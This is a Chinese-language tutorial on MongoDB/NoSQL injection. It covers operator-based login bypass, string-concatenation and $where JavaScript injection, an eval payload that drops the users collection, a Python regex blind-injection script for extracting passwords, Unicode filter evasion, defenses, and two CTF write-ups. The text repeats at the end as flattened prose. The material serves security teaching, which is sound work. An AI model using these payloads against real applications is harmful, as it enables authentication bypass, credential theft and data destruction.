Nosql 注入从零到一
字数 2157 2025-08-05 08:19:32

NoSQL注入从零到一:全面解析与实战指南

1. NoSQL基础概念

1.1 什么是NoSQL

NoSQL(Not Only SQL)是一种非关系型数据库技术,它不遵循传统关系型数据库的标准表格关系模型。NoSQL数据库通常用于处理大规模数据存储和高并发访问场景。

1.2 MongoDB简介

MongoDB是最流行的NoSQL数据库之一,由C++编写,基于分布式文件存储。它以文档形式存储数据,数据结构由键值对组成,类似于JSON对象。

示例文档结构:

{
    "_id": ObjectId("60fa854cf8aaaf4f21049148"),
    "name": "whoami",
    "description": "the admin user",
    "age": 19,
    "status": "A",
    "groups": ["admins", "users"]
}

1.3 MongoDB核心概念

SQL概念 MongoDB概念 说明
database database 数据库
table collection 数据库表/集合
row document 数据记录行/文档
column field 数据字段/域
index index 索引
table joins - MongoDB不支持表连接
primary key primary key 主键,MongoDB自动将_id字段设置为主键

2. MongoDB基础操作

2.1 数据库操作

// 创建/切换数据库
use DATABASE_NAME

// 显示所有数据库
show dbs

// 显示当前数据库
db

2.2 集合操作

// 创建集合
db.createCollection(name, options)

// 显示集合
show collections  show tables

2.3 文档操作

// 插入文档
db.COLLECTION_NAME.insert(document)

// 更新文档
db.collection.update(
   <query>,
   <update>,
   {
     upsert: <boolean>,
     multi: <boolean>,
     writeConcern: <document>
   }
)

// 替换文档
db.collection.save(
   <document>,
   {
     writeConcern: <document>
   }
)

// 查询文档
db.collection.find(query, projection)

2.4 查询条件比较

操作 MongoDB格式 示例 类似SQL语句
等于 {:} db.users.find({"name":"whoami"}) WHERE name = 'whoami'
小于 {:{$lt:}} db.users.find({"age":{$lt:19}}) WHERE age < 19
小于等于 {:{$lte:}} db.users.find({"age":{$lte:19}}) WHERE age <= 19
大于 {:{$gt:}} db.users.find({"age":{$gt:19}}) WHERE age > 19
大于等于 {:{$gte:}} db.users.find({"age":{$gte:19}}) WHERE age >= 19
不等于 {:{$ne:}} db.users.find({"age":{$ne:19}}) WHERE age != 19

3. NoSQL注入原理与分类

3.1 NoSQL注入简介

NoSQL注入允许攻击者通过不安全用户输入修改或替换应用程序发送到数据库引擎的查询语句。与传统SQL注入不同,NoSQL注入可能直接在应用程序的编程语言中执行代码。

3.2 注入分类

3.2.1 按语言分类

  • PHP数组注入
  • JavaScript注入
  • Mongo Shell拼接注入

3.2.2 按攻击机制分类

  1. 重言式注入:使条件表达式永远为真,绕过认证
  2. 联合查询注入:改变查询返回的数据集
  3. JavaScript注入:执行任意JavaScript代码
  4. 盲注:通过正则表达式进行布尔盲注

4. PHP中的MongoDB注入

4.1 重言式注入

利用$ne(不等于)等操作符构造永真条件:

// 正常查询
array(
    'username' => 'whoami',
    'password' => '657260'
)

// 注入payload
username[$ne]=1&password[$ne]=1

// 转换为
array(
    'username' => array('$ne' => 1),
    'password' => array('$ne' => 1)
)

// MongoDB查询
db.users.find({'username':{$ne:1}, 'password':{$ne:1}})

其他可用操作符:

username[$ne]=&password[$ne]=
username[$gt]=&password[$gt]=
username[$gte]=&password[$gte]=

4.2 联合查询注入

通过字符串拼接构造恶意查询:

// 原始查询
string query ="{ username: '" + $username + "', password: '" + $password + "' }"

// 注入payload
username=admin', $or: [ {}, {'a': 'a&password=' }], $comment: '123456

// 结果查询
{ username: 'admin', $or: [ {}, {'a':'a', password: '' }], $comment: '123456' }

4.3 JavaScript注入

4.3.1 $where操作符注入

MongoDB支持通过$where执行JavaScript代码:

// 易受攻击代码
$function = "function() { var username = '".$username."'; ... }";

// 注入payload
username=1&password=1';return true;var a='1

// 结果
array(
    '$where' => "function() { var username = '1';var password = '1';return true;var a='1';..."
)

4.3.2 命令方法注入

直接执行MongoDB命令的危险用法:

// 危险代码示例
$cmd = new \MongoDB\Driver\Command( [
    'eval' => "db.users.distinct('username',{'username':'$username'})"
]);

// 注入payload
username=1'});db.users.drop();db.user.find({'username':'1

4.4 布尔盲注

当页面无回显时,使用$regex进行盲注:

// 判断密码长度
username=admin&password[$regex]=.{6}  // 成功
username=admin&password[$regex]=.{7}  // 失败

// 逐字符爆破
username=admin&password[$regex]=^1
username=admin&password[$regex]=^12
...

盲注脚本示例:

import requests
import string

password = ''
url = 'http://target.com/login.php'

while True:
    for c in string.printable:
        if c not in ['*', '+', '.', '?', '|', '#', '&', '$']:
            json_payload = """{"username":"admin", "password":{"$regex":"^%s"}}""" % (password + c)
            headers = {'Content-Type': 'application/json'}
            r = requests.post(url=url, headers=headers, data=json_payload)
            if 'Login Success' in r.text:
                print("[+] %s" % (password + c))
                password += c

5. Node.js中的MongoDB注入

5.1 重言式注入

通过JSON格式构造永真条件:

{"username":{"$ne":1},"password": {"$ne":1}}

5.2 Unicode编码绕过

$ne等关键字被过滤时,使用Unicode编码:

{"username":{"\u0024\u006e\u0065":1},"password": {"\u0024\u006e\u0065":1}}
// 等价于 {"username":{"$ne":1},"password": {"$ne":1}}

6. NoSQL注入防御措施

  1. 输入验证:严格校验用户输入的数据类型和格式
  2. 参数化查询:使用驱动程序提供的安全查询方法
  3. 最小权限原则:数据库账户仅授予必要权限
  4. 禁用危险功能:如$whereeval
  5. 使用ORM:使用安全的对象关系映射工具
  6. 编码输出:对输出到页面的数据进行编码

7. CTF实战案例

7.1 [2021 MRCTF]Half-Nosqli

  1. 发现Swagger UI接口
  2. 通过/login接口进行NoSQL注入:
    {
      "email": {"$ne": ""},
      "password": {"$ne": ""}
    }
    
  3. 获取token后访问/home接口进行SSRF

7.2 [GKCTF 2021]hackme

  1. 发现NoSQL注入提示
  2. 使用Unicode编码绕过过滤:
    {"username":"admin", "password":{"\\u0024\\u006e\\u0065":1}}
    
  3. 通过盲注获取管理员密码

8. 总结

NoSQL注入虽然与传统SQL注入有所不同,但危害同样严重。理解MongoDB的查询语法和操作符是发现和利用NoSQL注入的关键。防御方面,应始终遵循安全编码实践,不信任任何用户输入,并使用数据库驱动提供的安全方法进行查询。

NoSQL注入从零到一:全面解析与实战指南 1. NoSQL基础概念 1.1 什么是NoSQL NoSQL(Not Only SQL)是一种非关系型数据库技术,它不遵循传统关系型数据库的标准表格关系模型。NoSQL数据库通常用于处理大规模数据存储和高并发访问场景。 1.2 MongoDB简介 MongoDB是最流行的NoSQL数据库之一,由C++编写,基于分布式文件存储。它以文档形式存储数据,数据结构由键值对组成,类似于JSON对象。 示例文档结构: 1.3 MongoDB核心概念 | SQL概念 | MongoDB概念 | 说明 | |---------|------------|------| | database | database | 数据库 | | table | collection | 数据库表/集合 | | row | document | 数据记录行/文档 | | column | field | 数据字段/域 | | index | index | 索引 | | table joins | - | MongoDB不支持表连接 | | primary key | primary key | 主键,MongoDB自动将_ id字段设置为主键 | 2. MongoDB基础操作 2.1 数据库操作 2.2 集合操作 2.3 文档操作 2.4 查询条件比较 | 操作 | MongoDB格式 | 示例 | 类似SQL语句 | |------|------------|------|------------| | 等于 | { : } | db.users.find({"name":"whoami"}) | WHERE name = 'whoami' | | 小于 | { :{$lt: }} | db.users.find({"age":{$lt:19}}) | WHERE age < 19 | | 小于等于 | { :{$lte: }} | db.users.find({"age":{$lte:19}}) | WHERE age <= 19 | | 大于 | { :{$gt: }} | db.users.find({"age":{$gt:19}}) | WHERE age > 19 | | 大于等于 | { :{$gte: }} | db.users.find({"age":{$gte:19}}) | WHERE age >= 19 | | 不等于 | { :{$ne: }} | db.users.find({"age":{$ne:19}}) | WHERE age != 19 | 3. NoSQL注入原理与分类 3.1 NoSQL注入简介 NoSQL注入允许攻击者通过不安全用户输入修改或替换应用程序发送到数据库引擎的查询语句。与传统SQL注入不同,NoSQL注入可能直接在应用程序的编程语言中执行代码。 3.2 注入分类 3.2.1 按语言分类 PHP数组注入 JavaScript注入 Mongo Shell拼接注入 3.2.2 按攻击机制分类 重言式注入 :使条件表达式永远为真,绕过认证 联合查询注入 :改变查询返回的数据集 JavaScript注入 :执行任意JavaScript代码 盲注 :通过正则表达式进行布尔盲注 4. PHP中的MongoDB注入 4.1 重言式注入 利用 $ne (不等于)等操作符构造永真条件: 其他可用操作符: 4.2 联合查询注入 通过字符串拼接构造恶意查询: 4.3 JavaScript注入 4.3.1 $where操作符注入 MongoDB支持通过 $where 执行JavaScript代码: 4.3.2 命令方法注入 直接执行MongoDB命令的危险用法: 4.4 布尔盲注 当页面无回显时,使用 $regex 进行盲注: 盲注脚本示例: 5. Node.js中的MongoDB注入 5.1 重言式注入 通过JSON格式构造永真条件: 5.2 Unicode编码绕过 当 $ne 等关键字被过滤时,使用Unicode编码: 6. NoSQL注入防御措施 输入验证 :严格校验用户输入的数据类型和格式 参数化查询 :使用驱动程序提供的安全查询方法 最小权限原则 :数据库账户仅授予必要权限 禁用危险功能 :如 $where 和 eval 等 使用ORM :使用安全的对象关系映射工具 编码输出 :对输出到页面的数据进行编码 7. CTF实战案例 7.1 [ 2021 MRCTF ]Half-Nosqli 发现Swagger UI接口 通过 /login 接口进行NoSQL注入: 获取token后访问 /home 接口进行SSRF 7.2 [ GKCTF 2021 ]hackme 发现NoSQL注入提示 使用Unicode编码绕过过滤: 通过盲注获取管理员密码 8. 总结 NoSQL注入虽然与传统SQL注入有所不同,但危害同样严重。理解MongoDB的查询语法和操作符是发现和利用NoSQL注入的关键。防御方面,应始终遵循安全编码实践,不信任任何用户输入,并使用数据库驱动提供的安全方法进行查询。